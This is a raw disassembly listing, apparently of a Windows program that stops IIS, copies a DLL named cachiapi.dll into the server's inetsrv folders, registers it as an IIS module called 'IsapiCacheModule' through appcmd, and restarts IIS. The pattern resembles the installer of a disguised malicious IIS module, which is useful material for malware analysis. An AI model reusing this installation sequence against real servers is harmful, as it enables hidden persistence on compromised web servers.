call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
lea edx, [ebp - 0x350]
lea ecx, [ebp - 0x338]
call fcn.00402730
test al, al
je 0x405b88
mov edx, str.Bak_successfully.
mov ecx, 0x446328
call fcn.0040a870
push eax
call fcn.0040ab20
add esp, 4
lea edx, [ebp - 0x2f0]
lea ecx, [ebp - 0x338]
call fcn.004029e0
push dword [ebp - 0x354]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
lea edx, [ebp - 0x29c]
lea ecx, [ebp - 0x308]
call fcn.00403a70
test al, al
jne 0x405665
mov edx, str.download_failed_1x32
jmp 0x406121
lea edx, [ebp - 0x2e4]
lea ecx, [ebp - 0x320]
call fcn.00403a70
test al, al
jne 0x405684
mov edx, str.download_failed:X64
jmp 0x406121
mov edx, str.Stop_the_IIS_process...
mov ecx, 0x446328
call fcn.0040a870
push eax
call fcn.0040ab20
push str.iisreset__stop___NUL_2_1
call fcn.0041d61c
add esp, 8
test eax, eax
je 0x4056b1
xor esi, esi
jmp 0x406139
push str.windir
lea eax, [ebp - 0x26c]
mov dword [ebp - 0x220], 0
push eax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x26c], 0
push eax
call fcn.0041ed7b
add esp, 0xc
test eax, eax
jne 0x405b7e
mov edx, dword [ebp - 0x220]
test edx, edx
je 0x405b7e
mov ecx, edx
mov dword [ebp - 0x228], eax
xorps xmm0, xmm0
mov dword [ebp - 0x224], eax
movups xmmword [ebp - 0x238], xmm0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405711
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x238]
call fcn.0040b4d0
mov byte [ebp - 4], 0x48
push dword [ebp - 0x220]
call fcn.0041dec7
mov ecx, dword [ebp - 0x228]
mov eax, esi
sub eax, ecx
add esp, 4
cmp eax, 0x1e
jb 0x40642e
cmp dword [ebp - 0x224], 0xf
lea eax, [ebp - 0x238]
push 0x1e
cmova eax, dword [ebp - 0x238]
push str.SysWOW64inetsrvcachiapi.dll
push ecx
push eax
push ecx
push dword [ebp - 0x21c]
lea ecx, [ebp - 0x36c]
call fcn.0040cfa0
cmp dword [ebp - 0x358], 0xf
lea ecx, [ebp - 0x36c]
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x29c]
cmova ecx, dword [ebp - 0x36c]
cmp dword [ebp - 0x288], 0xf
push 0
cmova eax, dword [ebp - 0x29c]
push ecx
push eax
call edi
mov ecx, dword [ebp - 0x358]
mov dword [ebp - 0x21c], eax
cmp ecx, 0xf
jbe 0x4057f5
mov edx, dword [ebp - 0x36c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4057e5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406433
push ecx
push edx
call fcn.004152e0
mov eax, dword [ebp - 0x21c]
add esp, 8
test eax, eax
jne 0x405831
mov edx, str.Failed_to_copy_file
mov ecx, 0x446410
call fcn.0040a870
cmp dword [ebp - 0x224], 0xf
lea edx, [ebp - 0x238]
push dword [ebp - 0x228]
cmova edx, dword [ebp - 0x238]
mov ecx, eax
call fcn.0040d640
add esp, 4
jmp 0x4058fd
mov ecx, dword [ebp - 0x228]
mov eax, esi
sub eax, ecx
cmp eax, 0x1f
jb 0x406438
cmp dword [ebp - 0x224], 0xf
lea eax, [ebp - 0x238]
push 0x1f
cmova eax, dword [ebp - 0x238]
push str.SysNativeinetsrvcachiapi.dll
push ecx
push eax
push ecx
push dword [ebp - 0x21c]
lea ecx, [ebp - 0x36c]
call fcn.0040cfa0
cmp dword [ebp - 0x358], 0xf
lea ecx, [ebp - 0x36c]
push 0
cmova ecx, dword [ebp - 0x36c]
lea eax, [ebp - 0x2e4]
cmp dword [ebp - 0x2d0], 0xf
push ecx
cmova eax, dword [ebp - 0x2e4]
push eax
call edi
mov ecx, dword [ebp - 0x358]
mov edi, eax
cmp ecx, 0xf
jbe 0x4058dd
mov edx, dword [ebp - 0x36c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4058d3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40643d
push ecx
push edx
call fcn.004152e0
add esp, 8
test edi, edi
jne 0x405943
mov edx, str.Failed_to_copy_file
mov ecx, 0x446410
call fcn.0040a870
lea edx, [ebp - 0x238]
mov ecx, eax
call fcn.0040abc0
push eax
call fcn.0040ab20
mov ecx, dword [ebp - 0x224]
add esp, 4
cmp ecx, 0xf
jbe 0x406134
mov edx, dword [ebp - 0x238]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405dc8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406442
jmp 0x405dc8
lea ecx, [ebp - 0x29c]
call fcn.00404070
lea ecx, [ebp - 0x2e4]
call fcn.00404070
mov ecx, dword [ebp - 0x228]
sub esi, ecx
cmp esi, 0x4a
jb 0x406447
cmp dword [ebp - 0x224], 0xf
lea eax, [ebp - 0x238]
push 0x4a
cmova eax, dword [ebp - 0x238]
push str._system32inetsrv_appcmd.exe_install_module__name:IsapiCacheModule__image:
push ecx
push eax
push ecx
push dword [ebp - 0x21c]
lea ecx, [ebp - 0x250]
call fcn.0040cfa0
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x238]
cmp dword [ebp - 0x224], 0xf
mov esi, dword [ebp - 0x23c]
mov eax, esi
cmova ecx, dword [ebp - 0x238]
mov edi, dword [ebp - 0x228]
mov edx, dword [ebp - 0x240]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x4059fe
lea eax, [edx + edi]
cmp esi, 0xf
mov dword [ebp - 0x240], eax
lea eax, [ebp - 0x250]
cmova eax, dword [ebp - 0x250]
lea esi, [eax + edx]
push esi
call fcn.004167e0
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [ebp - 0x250]
jmp 0x405a17
mov byte [ebp - 0x21c], 0
lea ecx, [ebp - 0x250]
push dword [ebp - 0x21c]
push edi
call fcn.0040bd20
mov dword [ebp - 0x35c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x36c], xmm0
mov dword [ebp - 0x358], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x36c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x35c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x4a
mov edx, dword [ebp - 0x358]
mov eax, edx
mov ecx, dword [ebp - 0x35c]
sub eax, ecx
push 0x35
push str._system32inetsrvcachiapi.dll___add:true____NUL_2_1
cmp eax, 0x35
jb 0x405aad
cmp edx, 0xf
lea esi, [ebp - 0x36c]
lea eax, [ecx + 0x35]
cmova esi, dword [ebp - 0x36c]
add esi, ecx
mov dword [ebp - 0x35c], eax
push esi
call fcn.004167e0
add esp, 0xc
mov byte [esi + 0x35], 0
lea eax, [ebp - 0x36c]
jmp 0x405ac7
mov byte [ebp - 0x21c], 0
lea ecx, [ebp - 0x36c]
push dword [ebp - 0x21c]
push 0x35
call fcn.0040bd20
mov dword [ebp - 0x258], 0
lea ecx, [ebp - 0x36c]
mov dword [ebp - 0x254], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x268], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x268], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x258], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.00407f20
lea ecx, [ebp - 0x250]
call fcn.00407f20
lea ecx, [ebp - 0x268]
call fcn.00407ef0
push eax
call fcn.0041d61c
push str.install_is_ok___n
call fcn.00401160
push str.iisreset__start___NUL_2_1
call fcn.0041d61c
add esp, 0xc
test eax, eax
je 0x405b5c
push str.iis_start_fail___n
call fcn.00401160
add esp, 4
call fcn.00404080
lea ecx, [ebp - 0x268]
call fcn.00407f20
lea ecx, [ebp - 0x238]
call fcn.00407f20
xor esi, esi
jmp 0x406139
mov edx, str.Failed_to_get__windir__environment_variable.
jmp 0x406121
mov edx, str.Bak__failed.
mov ecx, 0x446410
call fcn.0040a870
push eax
call fcn.0040ab20
add esp, 4
push dword [ebp - 0x354]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
jmp 0x406134
lea edx, [ebp - 0x350]
lea ecx, [ebp - 0x338]
call fcn.00402730
test al, al
je 0x40611c
mov edx, str.Bak_successfully.
mov ecx, 0x446328
call fcn.0040a870
push eax
call fcn.0040ab20
add esp, 4
lea edx, [ebp - 0x2f0]
lea ecx, [ebp - 0x338]
call fcn.004029e0
lea edx, [ebp - 0x29c]
lea ecx, [ebp - 0x308]
call fcn.00403a70
test al, al
jne 0x405c12
mov edx, str.download_failed_1
jmp 0x406121
mov edx, str.Stop_the_IIS_process...
mov ecx, 0x446328
call fcn.0040a870
push eax
call fcn.0040ab20
push str.iisreset__stop___NUL_2_1
call fcn.0041d61c
add esp, 8
test eax, eax
je 0x405c3f
xor esi, esi
jmp 0x406139
push str.windir
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x220], 0
push eax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x21c], 0
push eax
call fcn.0041ed7b
add esp, 0xc
test eax, eax
jne 0x405b7e
mov edx, dword [ebp - 0x220]
test edx, edx
je 0x405b7e
mov ecx, edx
mov dword [ebp - 0x228], eax
xorps xmm0, xmm0
mov dword [ebp - 0x224], eax
movups xmmword [ebp - 0x238], xmm0
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405ca0
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x238]
call fcn.0040b4d0
mov byte [ebp - 4], 0x4b
push dword [ebp - 0x220]
call fcn.0041dec7
mov ecx, dword [ebp - 0x228]
mov eax, esi
sub eax, ecx
add esp, 4
cmp eax, 0x1e
jb 0x40644c
cmp dword [ebp - 0x224], 0xf
lea eax, [ebp - 0x238]
push 0x1e
cmova eax, dword [ebp - 0x238]
push str._system32inetsrvcachiapi.dll
push ecx
push eax
push ecx
push dword [ebp - 0x21c]
lea ecx, [ebp - 0x36c]
call fcn.0040cfa0
cmp dword [ebp - 0x358], 0xf
lea ecx, [ebp - 0x36c]
push 0
cmova ecx, dword [ebp - 0x36c]
lea eax, [ebp - 0x29c]
cmp dword [ebp - 0x288], 0xf
push ecx
cmova eax, dword [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0x358]
mov edi, eax
cmp ecx, 0xf
jbe 0x405d78
mov edx, dword [ebp - 0x36c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405d6e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406451
push ecx
push edx
call fcn.004152e0
add esp, 8
test edi, edi
jne 0x405dd7
mov edx, str.Failed_to_copy_file_X32
mov ecx, 0x446410
call fcn.0040a870
push eax
call fcn.0040ab20
mov ecx, dword [ebp - 0x224]
add esp, 4
cmp ecx, 0xf
jbe 0x406134
mov edx, dword [ebp - 0x238]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405dc8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406460
push ecx
push edx
call fcn.004152e0
add esp, 8
jmp 0x406134
cmp dword [ebp - 0x288], 0xf
lea eax, [ebp - 0x29c]
cmova eax, dword [ebp - 0x29c]
push eax
call fcn.0041a6bd
mov ecx, dword [ebp - 0x228]
add esp, 4
sub esi, ecx
cmp esi, 0x4a
jb 0x406456
cmp dword [ebp - 0x224], 0xf
lea eax, [ebp - 0x238]
push 0x4a
cmova eax, dword [ebp - 0x238]
push str._system32inetsrv_appcmd.exe_install_module__name:IsapiCacheModule__image:
push ecx
push eax
push ecx
push dword [ebp - 0x21c]
lea ecx, [ebp - 0x36c]
call fcn.0040cfa0
mov byte [ebp - 4], 0x4c
lea edx, [ebp - 0x238]
cmp dword [ebp - 0x224], 0xf
mov edi, dword [ebp - 0x238]
mov eax, dword [ebp - 0x358]
cmova edx, edi
mov esi, dword [ebp - 0x35c]
sub eax, esi
mov ecx, dword [ebp - 0x228]
push ecx
push edx
cmp ecx, eax
ja 0x405ea2
cmp dword [ebp - 0x358], 0xf
lea eax, [esi + ecx]
mov dword [ebp - 0x35c], eax
lea eax, [ebp - 0x36c]
cmova eax, dword [ebp - 0x36c]
add esi, eax
push esi
call fcn.004167e0
mov eax, dword [ebp - 0x228]
add esp, 0xc
mov byte [esi + eax], 0
lea eax, [ebp - 0x36c]
jmp 0x405ec1
mov byte [ebp - 0x26c], 0
push dword [ebp - 0x26c]
push ecx
lea ecx, [ebp - 0x36c]
call fcn.0040bd20
mov edi, dword [ebp - 0x238]
mov dword [ebp - 0x258], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x268], xmm0
mov dword [ebp - 0x254], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x268], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x258], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x4d
mov edx, dword [ebp - 0x254]
mov eax, edx
mov ecx, dword [ebp - 0x258]
sub eax, ecx
push 0x35
push str._system32inetsrvcachiapi.dll___add:true____NUL_2_1
cmp eax, 0x35
jb 0x405f57
cmp edx, 0xf
lea esi, [ebp - 0x268]
lea eax, [ecx + 0x35]
cmova esi, dword [ebp - 0x268]
add esi, ecx
mov dword [ebp - 0x258], eax
push esi
call fcn.004167e0
add esp, 0xc
mov byte [esi + 0x35], 0
lea eax, [ebp - 0x268]
jmp 0x405f71
mov byte [ebp - 0x26c], 0
lea ecx, [ebp - 0x268]
push dword [ebp - 0x26c]
push 0x35
call fcn.0040bd20
mov dword [ebp - 0x240], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x250], xmm0
mov dword [ebp - 0x23c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x250], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x240], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x254]
cmp ecx, 0xf
jbe 0x405ff1
mov edx, dword [ebp - 0x268]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405fe7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40645b
push ecx
push edx
call fcn.004152e0
add esp, 8
mov ecx, dword [ebp - 0x358]
mov dword [ebp - 0x258], 0
mov dword [ebp - 0x254], 0xf
mov byte [ebp - 0x268], 0
cmp ecx, 0xf
jbe 0x406046
mov edx, dword [ebp - 0x36c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40603c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40645b
push ecx
push edx
call fcn.004152e0
add esp, 8
cmp dword [ebp - 0x23c], 0xf
lea eax, [ebp - 0x250]
cmova eax, dword [ebp - 0x250]
push eax
call fcn.0041d61c
push str.install_is_ok___n
call fcn.00401160
push str.iisreset__start___NUL_2_1
call fcn.0041d61c
add esp, 0xc
test eax, eax
je 0x406088
push str.iis_start_fail___n
call fcn.00401160
add esp, 4
call fcn.00404080
mov ecx, dword [ebp - 0x23c]
cmp ecx, 0xf
jbe 0x4060c7
mov edx, dword [ebp - 0x250]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4060bd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406460
push ecx
push edx
call fcn.004152e0
add esp, 8
mov eax, dword [ebp - 0x224]
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x23c], 0xf
mov byte [ebp - 0x250], 0
cmp eax, 0xf
jbe 0x406118
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x40610e
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406460
push ecx
push edi
call fcn.004152e0
add esp, 8
xor esi, esi
jmp 0x406139
mov edx, str.Bak__failed.
mov ecx, 0x446410
call fcn.0040a870
push eax
call fcn.0040ab20
add esp, 4
mov esi, 1
mov ecx, dword [ebp - 0x30c]
cmp ecx, 0xf
jbe 0x406173
mov edx, dword [ebp - 0x320]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406169
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406465
push ecx
push edx
call fcn.004152e0
add esp, 8
mov ecx, dword [ebp - 0x2f4]
mov dword [ebp - 0x310], 0
mov dword [ebp - 0x30c], 0xf
mov byte [ebp - 0x320], 0
cmp ecx, 0xf
jbe 0x4061c8
mov edx, dword [ebp - 0x308]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4061be
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406465
push ecx
push edx
call fcn.004152e0
add esp, 8
mov ecx, dword [ebp - 0x2d0]
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x2f4], 0xf
mov byte [ebp - 0x308], 0
cmp ecx, 0xf
jbe 0x40621d
mov edx, dword [ebp - 0x2e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406213
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406465
push ecx
push edx
call fcn.004152e0
add esp, 8
mov ecx, dword [ebp - 0x288]
mov dword [ebp - 0x2d4], 0
mov dword [ebp - 0x2d0], 0xf
mov byte [ebp - 0x2e4], 0
cmp ecx, 0xf
jbe 0x406272
mov edx, dword [ebp - 0x29c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406268
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406465
push ecx
push edx
call fcn.004152e0
add esp, 8
mov ecx, dword [ebp - 0x270]
mov dword [ebp - 0x28c], 0
mov dword [ebp - 0x288], 0xf
mov byte [ebp - 0x29c], 0
cmp ecx, 0xf
jbe 0x4062c7
mov edx, dword [ebp - 0x284]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4062bd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406465
push ecx
push edx
call fcn.004152e0
add esp, 8
mov ecx, dword [ebp - 0x33c]
cmp ecx, 0xf
jbe 0x406301
mov edx, dword [ebp - 0x350]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4062f7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406465
push ecx
push edx
call fcn.004152e0
add esp, 8
mov ecx, dword [ebp - 0x324]
cmp ecx, 0xf
jbe 0x40633b
mov edx, dword [ebp - 0x338]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406331
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406465
push ecx
push edx
call fcn.004152e0
add esp, 8
mov ecx, dword [ebp - 0x2b8]
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x324], 0xf
mov byte [ebp - 0x338], 0
cmp ecx, 0xf
jbe 0x406390
mov edx, dword [ebp - 0x2cc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406386
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406465
push ecx
push edx
call fcn.004152e0
add esp, 8
lea ecx, [ebp - 0x2f0]
call fcn.004091b0
mov ecx, dword [ebp - 0x2a0]
cmp ecx, 0xf
jbe 0x4063d5
mov edx, dword [ebp - 0x2b4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4063cb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406465
push ecx
push edx
call fcn.004152e0
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00415188
mov esp, ebp
pop ebp
ret
call fcn.0041ea24
call fcn.004013d0
call fcn.004013d0
call fcn.0041ea24
call fcn.004013d0
call fcn.0041ea24
call fcn.004013d0
call fcn.0041ea24
call fcn.004013d0
call fcn.0041ea24
call fcn.004013d0
call fcn.0041ea24
call fcn.004013d0
call fcn.0041ea24
call fcn.004013d0
call fcn.0041ea24
call fcn.0041ea24
call fcn.004013d0
call fcn.004013d0
call fcn.0041ea24
call fcn.004013d0
call fcn.0041ea24
call fcn.0041ea24
call fcn.0041ea24
int3